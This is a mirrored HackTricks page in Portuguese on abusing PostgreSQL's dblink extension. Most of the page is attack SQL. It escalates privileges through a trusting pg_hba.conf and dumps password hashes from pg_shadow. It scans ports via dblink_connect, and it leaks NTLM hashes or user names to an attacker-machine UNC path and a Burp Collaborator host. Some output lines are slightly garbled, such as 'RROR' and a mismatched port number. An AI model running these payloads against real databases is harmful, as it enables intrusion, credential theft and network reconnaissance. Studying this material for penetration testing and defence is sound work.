mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-19 01:24:50 +00:00
123 lines
6.1 KiB
Markdown
123 lines
6.1 KiB
Markdown
# Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
|
|
|
|
{% hint style="success" %}
|
|
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
{% endhint %}
|
|
|
|
**Encontre** [**mais informações sobre esses ataques no documento original**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt).
|
|
|
|
Desde **PostgreSQL 9.1**, a instalação de módulos adicionais é simples. [Extensões registradas como `dblink`](https://www.postgresql.org/docs/current/contrib.html) podem ser instaladas com [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
|
|
```sql
|
|
CREATE EXTENSION dblink;
|
|
```
|
|
Uma vez que você tenha o dblink carregado, você poderá realizar alguns truques interessantes:
|
|
|
|
### Escalação de Privilégios
|
|
|
|
O arquivo `pg_hba.conf` pode estar mal configurado **permitindo conexões** de **localhost como qualquer usuário** sem precisar saber a senha. Este arquivo pode ser tipicamente encontrado em `/etc/postgresql/12/main/pg_hba.conf` e uma configuração ruim se parece com:
|
|
```
|
|
local all all trust
|
|
```
|
|
_Note que esta configuração é comumente usada para modificar a senha de um usuário do banco de dados quando o administrador a esquece, então às vezes você pode encontrá-la._\
|
|
&#xNAN;_Note também que o arquivo pg\_hba.conf é legível apenas pelo usuário e grupo postgres e gravável apenas pelo usuário postgres._
|
|
|
|
Este caso é **útil se** você **já** tiver um **shell** dentro da vítima, pois permitirá que você se conecte ao banco de dados postgresql.
|
|
|
|
Outra possível má configuração consiste em algo como isto:
|
|
```
|
|
host all all 127.0.0.1/32 trust
|
|
```
|
|
Como permitirá que todos a partir do localhost se conectem ao banco de dados como qualquer usuário.\
|
|
Neste caso, e se a função **`dblink`** estiver **funcionando**, você poderá **escalar privilégios** conectando-se ao banco de dados através de uma conexão já estabelecida e acessar dados que não deveria ser capaz de acessar:
|
|
```sql
|
|
SELECT * FROM dblink('host=127.0.0.1
|
|
user=postgres
|
|
dbname=postgres',
|
|
'SELECT datname FROM pg_database')
|
|
RETURNS (result TEXT);
|
|
|
|
SELECT * FROM dblink('host=127.0.0.1
|
|
user=postgres
|
|
dbname=postgres',
|
|
'select usename, passwd from pg_shadow')
|
|
RETURNS (result1 TEXT, result2 TEXT);
|
|
```
|
|
### Port Scanning
|
|
|
|
Abusando `dblink_connect`, você também pode **procurar portas abertas**. Se essa \*\*função não funcionar, você deve tentar usar `dblink_connect_u()`, pois a documentação diz que `dblink_connect_u()` é idêntica a `dblink_connect()`, exceto que permitirá que não-superusuários se conectem usando qualquer método de autenticação\_.
|
|
```sql
|
|
SELECT * FROM dblink_connect('host=216.58.212.238
|
|
port=443
|
|
user=name
|
|
password=secret
|
|
dbname=abc
|
|
connect_timeout=10');
|
|
//Different response
|
|
// Port closed
|
|
RROR: could not establish connection
|
|
DETAIL: could not connect to server: Connection refused
|
|
Is the server running on host "127.0.0.1" and accepting
|
|
TCP/IP connections on port 4444?
|
|
|
|
// Port Filtered/Timeout
|
|
ERROR: could not establish connection
|
|
DETAIL: timeout expired
|
|
|
|
// Accessing HTTP server
|
|
ERROR: could not establish connection
|
|
DETAIL: timeout expired
|
|
|
|
// Accessing HTTPS server
|
|
ERROR: could not establish connection
|
|
DETAIL: received invalid response to SSL negotiation:
|
|
```
|
|
Note que **antes** de poder usar `dblink_connect` ou `dblink_connect_u`, você pode precisar executar:
|
|
```
|
|
CREATE extension dblink;
|
|
```
|
|
### UNC path - divulgação de hash NTLM
|
|
```sql
|
|
-- can be used to leak hashes to Responder/equivalent
|
|
CREATE TABLE test();
|
|
COPY test FROM E'\\\\attacker-machine\\footestbar.txt';
|
|
```
|
|
|
|
```sql
|
|
-- to extract the value of user and send it to Burp Collaborator
|
|
CREATE TABLE test(retval text);
|
|
CREATE OR REPLACE FUNCTION testfunc() RETURNS VOID AS $$
|
|
DECLARE sqlstring TEXT;
|
|
DECLARE userval TEXT;
|
|
BEGIN
|
|
SELECT INTO userval (SELECT user);
|
|
sqlstring := E'COPY test(retval) FROM E\'\\\\\\\\'||userval||E'.xxxx.burpcollaborator.net\\\\test.txt\'';
|
|
EXECUTE sqlstring;
|
|
END;
|
|
$$ LANGUAGE plpgsql SECURITY DEFINER;
|
|
SELECT testfunc();
|
|
```
|
|
{% hint style="success" %}
|
|
Aprenda e pratique Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
|
Aprenda e pratique Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
|
|
|
<details>
|
|
|
|
<summary>Support HackTricks</summary>
|
|
|
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
{% endhint %}
|